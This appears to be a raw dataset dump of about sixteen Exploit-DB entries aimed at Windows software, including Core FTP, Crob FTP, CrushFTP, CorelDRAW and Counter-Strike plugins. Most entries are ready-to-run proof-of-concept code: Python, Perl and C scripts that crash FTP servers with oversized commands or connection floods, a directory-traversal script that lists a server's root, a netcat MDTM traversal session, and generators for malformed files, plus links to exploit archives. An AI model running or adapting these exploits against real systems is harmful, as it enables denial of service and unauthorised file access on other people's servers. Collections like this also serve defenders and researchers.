deardaniel/secdata-raw huggingface dataset:
Exploit-DB #34051
Description: Core FTP Server 1.0.343 - Directory Traversal
Type: dos
Platform: windows
Date: 2010-05-28
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/40422/info

Core FTP Server is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting this issue will allow an attacker to view arbitrary local files within the context of the webserver. Information harvested may aid in launching further attacks.

Core FTP Server 1.0.343 is vulnerable; other versions may also be affected. 

import sys, socket, re

host = 'localhost'
port = 21
user = 'anonymous'
password = 'a'

buffer_size = 8192
timeout = 8

def recv(s):
    resp = ''

    while 1:
        r = s.recv(buffer_size)
        if not r: break
        resp += r

    return resp

def list_root():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.settimeout(timeout)

        print s.recv(buffer_size)            

        s.send('USER ' + user + '\r\n')                   
        print s.recv(buffer_size)            

        s.send('PASS ' + password + '\r\n')               
        print s.recv(buffer_size) + s.recv(buffer_size)

        s.send('CWD ' + '/...' * 16 + '\r\n')

        resp = s.recv(buffer_size)

        print resp
        
        if resp[:3] == '250':
            s.send('PASV\r\n')                                   
            resp =  s.recv(buffer_size)

            print resp
            
            pasv_info = re.search(u'(\d+),(\d+),(\d+),(\d+),(\d+),(\d+)', resp)

            if (pasv_info == None):
                print 'Invalid PASV response: ' + resp
                return            

            s.send('LIST\r\n')            

            s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s2.connect((host, int(pasv_info.group(5)) * 256 + int(pasv_info.group(6))))
            s2.settimeout(timeout)           

            print recv(s2)

        s.close()

    except Exception:        
        print sys.exc_info()

list_root()
Exploit-DB #33495
Description: Core FTP Server 1.2 build 535 (32-bi)t - Crash (PoC)
Type: dos
Platform: windows
Date: 2014-05-24
Author: Kaczinski Ramirez

Exploit:
#!/usr/bin/python

import socket,sys,time

def Usage():
        print ("Core FTP Server Version 1.2, build 535, 32-bit - Crash P.O.C.")
        print ("Usage: ./coreftp_dos.py <host> <port> <username> <password>")
        print ("Ex:    ./coreftp_dos.py 192.168.10.10 21 ftp ftp\n")

if len(sys.argv) <> 5:
        Usage()
        sys.exit(1)
else:
        host=sys.argv[1]
        port=sys.argv[2]
        user=sys.argv[3]
        passwd=sys.argv[4]
        evil = '\x41' * 210
        print "[+] Trying to crash Core FTP server with " + str(len(evil)) + " buffer bytes"
        print "[+] Host: " + host + " Port: " + port + " User: " + user + " Pass: " + passwd
        print "[+] Attempting to connect to the remote Core FTP Server..."
        first = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        port=int(port)
        try:
                connect = first.connect((host, port))
        except:
                print "[-] There was an error while trying to connect to the remote FTP Server"
                sys.exit(1)
        print "[+] Connection to remote server successfully... now trying to authenticate"
        first.recv(1024)
        first.send('USER ' + user + '\r\n')
        first.recv(1024)
        first.send('PASS ' + passwd + '\r\n')
        first.recv(1024)
        first.send('dir\r\n');
        first.send('TYPE ' + evil + '\r\n')
        try:
                first.recv(1024)
        except:
                print "[-] Couldn\'t authenticate in the remote FTP server"
                sys.exit(1)
        print "[+] First buffer was sent, waiting 30 seconds to send a second time with some more bad data..."
        first.close()
        second = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        time.sleep(30)
        try:
                connect = second.connect((host, port))
        except:
                print "[-] FTP Server isn\'t responding... it might had successfully crashed."
                sys.exit(1)
        second.send('USER ' + user + '\r\n')
        second.recv(1024)
        second.send('PASS ' + passwd + '\r\n')
        second.recv(1024)
        second.send('TYPE ' + evil + '\r\n')
        second.recv(1024)
        print "[+] By now, Core FTP Server should had crashed and will not accept new connections."
        second.close()
        sys.exit(0)
Exploit-DB #46534
Description: Core FTP Server FTP / SFTP Server v2 Build 674 - 'MDTM' Directory Traversal
Type: dos
Platform: windows
Date: 2019-03-13
Author: Kevin Randall

Exploit:
# Exploit Title: CoreFTP Server FTP / SFTP Server v2 - Build 674  MDTM Directory Traversal
# Google Dork: N/A
# Date: 3/13/2019
# Exploit Author: Kevin Randall
# Vendor Homepage: https://www.coreftp.com
# Software Link: http://www.coreftp.com/server/index.html
# Version: Firmware: CoreFTP Server FTP / SFTP Server v2 - Build 674
# Tested on: Windows 7
# CVE : CVE-2019-9649

*Vendor has confirmed vulnerability and implemented an updated version*

Summary: Summary: By utilizing a directory traversal along with the FTP MDTM command, an attacker can browse outside the root directory to determine if a file exists based on return file size along with the date the file was last modified by using a ..\..\ technique
Tools used:
Parrot OS VM
Windows 7 VM
FTP / SFTP Server v2 - Build 674
Netcat

Proof of Concept (PoC):

File 1: ARP.exe
Type of file: Application(.EXE)
Description: TCP/IP Arp Command
Location: C:\Windows\System32\
Size: 20.5 KB (20,992 bytes)
Size on disk: 24.0 KB (24,576 bytes)
Created: Monday July 13, 2009 7:55:11 PM
Modified: Monday July 13, 2009, 9:14:12 PM
Accessed: Monday July 13, 2009 7:55:11 PM

#nc -nv 192.168.0.2 21
(UNKNOWN) [192.168.0.2] 21 (ftp) open
220 Core FTP Server Version 2.0, build 674, 32-bit, installed 1 days ago Unregistered
USER anonymous
331 password required for anonymous
PASS anonymous@
230-Logged on
230
MDTM C:\..\..\..\..\..\..\Windows\System32\ARP.exe[PII_REDACTED]3211412
Exploit-DB #46371
Description: Core FTP/SFTP Server 1.2 Build 589.42 - 'User domain' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-02-14
Author: Victor Mondragón

Exploit:
#Exploit Title: Core FTP/SFTP Server 1.2 - Build 589.42 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-02-13
#Vendor Homepage: http://www.coreftp.com/
#Software Link: http://www.coreftp.com/server/download/archive/CoreFTPServer589.42.exe
#Tested Version: v2-Build 673
#Tested on: Windows 7 Service Pack 1 x32

#Steps to produce the crash:
#1.- Run python code: Core_FTP_SFTP_Server_1.2.py
#2.- Open core_code.txt and copy content to clipboard
#3.- Open Core FTP Server
#4.- Select "Setup" > "New"
#5.- Select "Domain Name" and Put "Test"
#6.- Select "Domain IP/Address" and Put "1.1.1.1" 
#7.- Select "Base directory" and Choose a directory path
#8.- Enable "WinNT users" 
#9.- Select "User domain" and Paste Clipboard
#10.- Click on "Ok" and the next window click "Ok"
#11.- Crashed

cod = "\x41" * 7000

f = open('core_code.txt', 'w')
f.write(cod)
f.close()
Exploit-DB #14346
Description: Corel Presentations X5 15.0.0.357 - 'shw' Buffer Preoccupation (PoC)
Type: dos
Platform: windows
Date: 2010-07-12
Author: LiquidWorm

Exploit:
- Title: Corel Presentations X5 15.0.0.357 (shw) Remote Buffer Preoccupation PoC
- Vendor: Corel Corporation
- Product Web Page: http://www.corel.com
- Version Tested: 15.0.0.357 (Standard Edition)

-Summary: Strengthen your visual impact. Create compelling slideshows, proposals,
 demonstrations and interactive reports. Easily edit pictures, create charts and
 diagrams, and share content with others. Open, edit and save MicrosoftŽ PowerPointŽ
 files, including the latest OOXML (.pptx) files.

-Desc: Corel WordPerfect is prone to a remote buffer overflow vulnerability because
 the application fails to perform adequate boundary checks on user supplied input with
 .SHW (Presentations Slide Show) file. Attackers may exploit this issue to execute arbitrary
 code in the context of the application. Failed attacks will cause denial-of-service conditions.

-Tested On: Microsoft Windows XP Pro SP3 (EN)
-Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
-liquidworm gmail com
-Zero Science Lab - http://www.zeroscience.mk
-12.07.2010

- Vendor status:

 [12.07.2010] Vulnerability discovered.
 [09.07.2010] Initial contact with the vendor.
 [12.07.2010] No reply from vendor.
 [12.07.2010] Public advisory released.


- Zero Science Lab Advisory ID: ZSL-2010-4946
- Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4946.php

- PoC:
http://www.zeroscience.mk/codes/zsl_poc17.shw.rar
or
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14346.rar (zsl_poc17.shw.rar)
Exploit-DB #35217
Description: CorelDRAW X7 CDR File - 'CdrTxt.dll' Off-by-One Stack Corruption
Type: dos
Platform: windows
Date: 2014-11-12
Author: LiquidWorm

Exploit:
CorelDRAW X7 CDR File (CdrTxt.dll) Off-By-One Stack Corruption Vulnerability


Vendor: Corel Corporation
Product web page: http://www.corel.com
Affected version: 17.1.0.572 (X7) - 32bit/64bit (EN)
                  15.0.0.486 (X5) - 32bit (EN)

Summary: CorelDRAW is one of the image-creating programs in a
suite of graphic arts software used by professional artists,
educators, students, businesses and the general public. The
CorelDRAW Graphics Suite X7, which includes CorelDRAW, is sold
as stand-alone software and as a cloud-based subscription.
CorelDRAW is the core of the graphics suite and is primarily
used for vector illustrations and page layouts.

Desc: CorelDRAW is prone to an off-by-one memory corruption
vulnerability. An attacker can exploit this issue by tricking
a victim into opening a malicious CDR file to execute arbitrary
code and/or to cause denial-of-service conditions.

---

eax=13921178 ebx=00000003 ecx=00000000 edx=138fa270 esi=13c41e78 edi=00000002
eip=5fea43e4 esp=001eca8c ebp=131f67b8 iopl=0         nv up ei ng nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210297
CdrTxt!WStyleList::EndLoad+0x74:
5fea43e4 8b01            mov     eax,dword ptr [ecx]  ds:002b:00000000=????????

---

Tested on: Microsoft Windows 7 Professional SP1 (EN)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2014-5204
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5204.php


27.10.2014

---


PoC:

 - http://www.zeroscience.mk/codes/zsl_5204.rar
 - https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35217.rar
Exploit-DB #8102
Description: Counter Strike Source ManiAdminPlugin 1.x - Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-02-24
Author: M4rt1n

Exploit:
*********************************************************
****                                                 ****
****     Counter strike: Source Buffer Overflow      ****
****                  24/02/2009                     ****
****        Mani admin plugin buffer overflow        ****
****                                                 ****
*********************************************************

alias milw0rmcode "timeleft;nextmap;timeleft;nextmap;timeleft;nextmap;timeleft;nextmap;timeleft;nextmap;timeleft;nextmap;timeleft;nextmap;timeleft;nextmap;timeleft;nextmap;timeleft;nextmap;timeleft;nextmap;timeleft;nextmap;timeleft;nextmap;timeleft;nextmap;timeleft;nextmap;timeleft;nextmap;timeleft;nextmap;timeleft;nextmap;timeleft;nextmap;timeleft;nextmap"
alias milw0rmstart "milw0rmcode;milw0rmcode;milw0rmcode;milw0rmcode;milw0rmcode"
alias milw0rmspam  "milw0rmstart;milw0rmstart;milw0rmstart;milw0rmstart"
bind key "milw0rmspam"

# milw0rm.com [2009-02-24]
Exploit-DB #8512
Description: Counter Strike Source ManiAdminPlugin 2.0 - Remote Crash
Type: dos
Platform: windows
Date: 2009-04-22
Author: M4rt1n

Exploit:
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@     Counter strike source         @@@@@
@@@@@     Mani Admin Plugin Exploit v2  @@@@@
@@@@@   M4rt1n. www.hackerzbay.com      @@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

alias aspam "admin;admin;admin;admin;admin;admin;admin;timeleft;timeleft;timeleft"
alias bspam "aspam;aspam;aspam;aspam;aspam"
bind i "bspam; bspam; bspam"


#www.hackerzbay.com

# milw0rm.com [2009-04-22]
Exploit-DB #47454
Description: Counter-Strike Global Offensive 1.37.1.1 - 'vphysics.dll' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-09-18
Author: bi7s

Exploit:
# CVE-2019-15943

Counter-Strike Global Offensive (vphysics.dll) before 1.37.1.1 allows remote attackers to achieve code execution or denial of service by creating a gaming server and inviting a victim to this server, because a crafted map using memory corruption. 

### Description:

We are need modifying class name value in our PoC for triggering this vulnerability, offset for modifying in our PoC is `0x115703`. For example add char `"="` using this offset. PoC is "mc.bsp"

![](https://github.com/bi7s/CVE/blob/master/CVE-2019-15943/img/offset.png)

For modeling situation for attack we are need next:
First step is copy mc.bsp to `C:\Program Files (x86)\Steam\steamapps\common\Counter-Strike Global Offensive\csgo\maps`;

Second step is start game with our map (mc.bsp), for this we are need turn on game console and insert in console: `map mc`.

![](https://github.com/bi7s/CVE/blob/master/CVE-2019-15943/img/1.png)

After this steps we can see next:

![](https://github.com/bi7s/CVE/blob/master/CVE-2019-15943/img/windbg.png)

I was use msec.dll (!exploitable) is a Windows debugging extension (Windbg) that provides automated crash analysis and security risk assessment [Download msec.dll](https://archive.codeplex.com/?p=msecdbg)
As you can see msec.dll checked this crash and decide that is EXPLOITABLE crash, because SEH chain is corrupted. It is means that attacker can use this vulnerability for remote code execution.

EDB Note: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47454.bsp
Exploit-DB #13838
Description: CP3 Studio PC Version - Denial of Service
Type: dos
Platform: windows
Date: 2010-06-12
Author: chap0

Exploit:
# Exploit Title : CP3 Studio PC Ver. Dos
# Date          : June 12, 2010
# Author        : chap0 - [www.seek-truth.net] 
# Link 		: http://www.vocooo.com
# Version       : 2.0
# Tested on     : Windows XP SP3 En 
# Greetz to     : Corelan Security Team
# The Crew	: http://www.corelan.be:8800/index.php/security/corelan-team-members/
# Advisory	: http://www.corelan.be:8800/advisories.php?id=CORELAN-10-051
#
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
# Corelan does not want anyone to use this script
# for malicious and/or illegal purposes
# Corelan cannot be held responsible for any illegal use.
#
# Note : you are not allowed to edit/modify this code.  
# If you do, Corelan cannot be held responsible for any damages this may cause.
#
# Code :
#!/usr/bin/perl
print "|------------------------------------------------------------------|\n";
print "|                         __               __                      |\n";
print "|   _________  ________  / /___ _____     / /____  ____ _____ ___  |\n";
print "|  / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\   / __/ _ \\/ __ `/ __ `__ \\ |\n";
print "| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |\n";
print "| \\___/\\____/_/   \\___/_/\\__,_/_/ /_/   \\__/\\___/\\__,_/_/ /_/ /_/  |\n";
print "|                                                                  |\n";
print "|                                       http://www.corelan.be:8800 |\n";
print "|                                                                  |\n";
print "|-------------------------------------------------[ EIP Hunters ]--|\n\n";
print "[+] Vocoo CP3 Studio 2.0 Dos. . .\n\n";
sleep(2);
my $play = "tunes.cp3";

my $buffer = "\x41" x 500;

open(FILE,">$play");
print FILE $buffer;
close(FILE);

print "[+] Music Provided by chap0 visit www.corelan.be:8800\n";
Exploit-DB #11803
Description: Crimson Editor - Overwrite (SEH)
Type: dos
Platform: windows
Date: 2010-03-18
Author: sharpe

Exploit:
A vulnerability exists in the way Crimson Editor reads file types from within configuration files and can be exploited, by malicious people, to compromise a vulnerable system.

Successful exploitation of this vulnerability allows an attacker to execute arbitrary code, by tricking a user into using a maliciously constructed configuration file (cedt.cfg).

This vulnerability is confirmed in Crimson Editor version 3.70.

A PoC configuration file can be downloaded here:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/11803.zip (cedt.zip)


Ref:

    * http://www.crimsoneditor.com/
Exploit-DB #23633
Description: Crob FTP Server 3.5.1 - Denial of Service
Type: dos
Platform: windows
Date: 2004-02-02
Author: Zero X

Exploit:
source: https://www.securityfocus.com/bid/9549/info

A vulnerability has been reported in the Crob FTP server, which occurs due to a lack of validation of input from the user. By issuing a malformed request a malevolent user may be able to force the server to crash, denying service to legitimate users. 

dir
......................................................................................................................................................................................................................................................./*
Exploit-DB #23689
Description: Crob FTP Server 3.5.2 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2004-02-12
Author: gsicht

Exploit:
// source: https://www.securityfocus.com/bid/9651/info

It has been reported that the Crob FTP server is prone to a remote denial of service vulnerability. An attacker may exploit this issue to cause the affected server to crash, denying service to legitimate users.

/******************************/
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(int argc, char *argv[])
{

  int s;
  struct sockaddr_in target;

  if(argc < 2)
    {
      printf("Usage: %s HOST [PORT]\n\n",argv[0]);
      return 0;
    }

        do
	  {
	    s = socket(AF_INET, SOCK_STREAM, 0);
	    target.sin_family = AF_INET;
	    target.sin_port = htons(atoi(argv[2]));
	    target.sin_addr.s_addr = inet_addr(argv[1]);

	    printf("-       connecting...\n");

	    if( connect(s,(struct sockaddr*)&target, sizeof(struct sockaddr))<0)
	      {
                printf("        connect() error!\n\n");
                exit(-1);
	      }

	    printf("        connected\n");
	    printf("        closing connection\n");
	    close(s);
	  }
        while(1);
        return 0;
}
/*******************************/
Exploit-DB #2926
Description: Crob FTP Server 3.6.1 build 263 - 'LIST/NLST' Denial of Service
Type: dos
Platform: windows
Date: 2006-12-13
Author: shinnai

Exploit:
import sys,os,string
import socket
import struct
import time

print "-----------------------------------------------------------------------"
print "# Crob FTP Server 3.6.1 b.263 LIST, NLST and NLST -al Denial of Service"
print "# url: http://www.crob.net/en/"
print "# author: shinnai"
print "# mail: shinnai[at]autistici[dot[org]"
print "# site: http://shinnai.altervista.org"
print "# and, always, special thanks to rgod"
print "-----------------------------------------------------------------------"


buffer = "?A" * 9000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
       conn = s.connect(("127.0.0.1",21))
except:
       print "- Unable to connect. exiting."

d = s.recv(1024)
time.sleep(1)
s.send('USER %s\r\n' % "test")
time.sleep(1)
s.send('PASS %s\r\n' % "test")
time.sleep(1)
s.send('LIST %s\r\n' % buffer)
time.sleep(1)
s.send('HELP %s\r\n')

# milw0rm.com [2006-12-13]
Exploit-DB #39509
Description: Crouzet em4 soft 1.1.04 - '.pm4' Integer Division By Zero
Type: dos
Platform: windows
Date: 2016-03-01
Author: LiquidWorm

Exploit:

Crouzet em4 soft 1.1.04 Integer Division By Zero


Vendor: Crouzet Automatismes SAS
Product web page: http://www.crouzet-automation.com
Affected version: 1.1.04 and 1.1.03.01

Summary: em4 is more than just a nano-PLC. It is a leading
edge device supported by best-in-class tools that enables
you to create and implement the smartest automation applications.

Desc: em4 soft suffers from a division by zero attack when handling
Crouzet Logic Software Document '.pm4' files, resulting in denial
of service vulnerability and possibly loss of data.

---------------------------------------------------------------------
(187c.1534): Integer divide-by-zero - code c0000094 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for image013b0000
*** ERROR: Module load completed but symbols could not be loaded for image013b0000
eax=00000000 ebx=00000000 ecx=55c37c10 edx=00000000 esi=0105b13c edi=0110bb18
eip=013ea575 esp=0064d8b8 ebp=0064d8f4 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210206
image013b0000+0x3a575:
013ea575 f7bf18010000    idiv    eax,dword ptr [edi+118h] ds:002b:0110bc30=00000000
0:000> u
image013b0000+0x3a575:
013ea575 f7bf18010000    idiv    eax,dword ptr [edi+118h]
013ea57b 8d4de0          lea     ecx,[ebp-20h]
013ea57e c745fc00000000  mov     dword ptr [ebp-4],0
013ea585 50              push    eax
013ea[PII_REDACTED]b01      push    offset image013b0000+0x205008 (015b5008)
013ea58b 51              push    ecx
013ea58c ff15b0575a01    call    dword ptr [image013b0000+0x1f57b0 (015a57b0)]
013ea592 8b870c010000    mov     eax,dword ptr [edi+10Ch]
---------------------------------------------------------------------

Tested on: Microsoft Windows 7 Professional SP1 (EN)
           Microsoft Windows 7 Ultimate SP1 (EN)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5309
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5309.php


25.01.2016

--


PoC: 

http://zeroscience.mk/codes/poc5309.pm4.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39509.zip
Exploit-DB #17795
Description: Crush FTP 5 - 'APPE' Remote JVM Blue Screen of Death (PoC)
Type: dos
Platform: windows
Date: 2011-09-07
Author: BSOD Digital

Exploit:
#
#Exploit Title:
#Crush FTP 5 'APPE' command Remote BSOD Poc Exploit
#
#Date: 06/09/2011
#
#Author: BSOD Digital (Fabien DROMAS)
#Mail: bsoddigital@gmail.com
#
#
#Test:
#OS: Windows 7
#Versions: 5.7.0_96
#
#
#Link:
#https://www.crushftp.com/early5/CrushFTP5_PC.zip
#
#!/usr/bin/env python

import socket

host = raw_input("Type Target IP: ")

data1 = ("A" * 9000)
data2 = (" " * 9000)
cmd = ('APPE')

print ("\n--------------------------------------------------\n")
print ("Crush FTP 5 'APPE' command Remote BSOD Poc Exploit\n")
print ("      BSOD Digital - bsoddigital@gmail.com        \n")
print ("--------------------------------------------------\n")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 21))
r=s.recv(1024)
print (r)
s.send("USER test\r\n")
r=s.recv(1024)
print (r)
s.send("PASS test\r\n")
r=s.recv(1024)
print (r)
s.send(cmd + " " + data1 + data2 + '\r\n')
print ("Payload Send!\n")
print ("2 or 3 seconds before the blue screen of the death...")
s.close()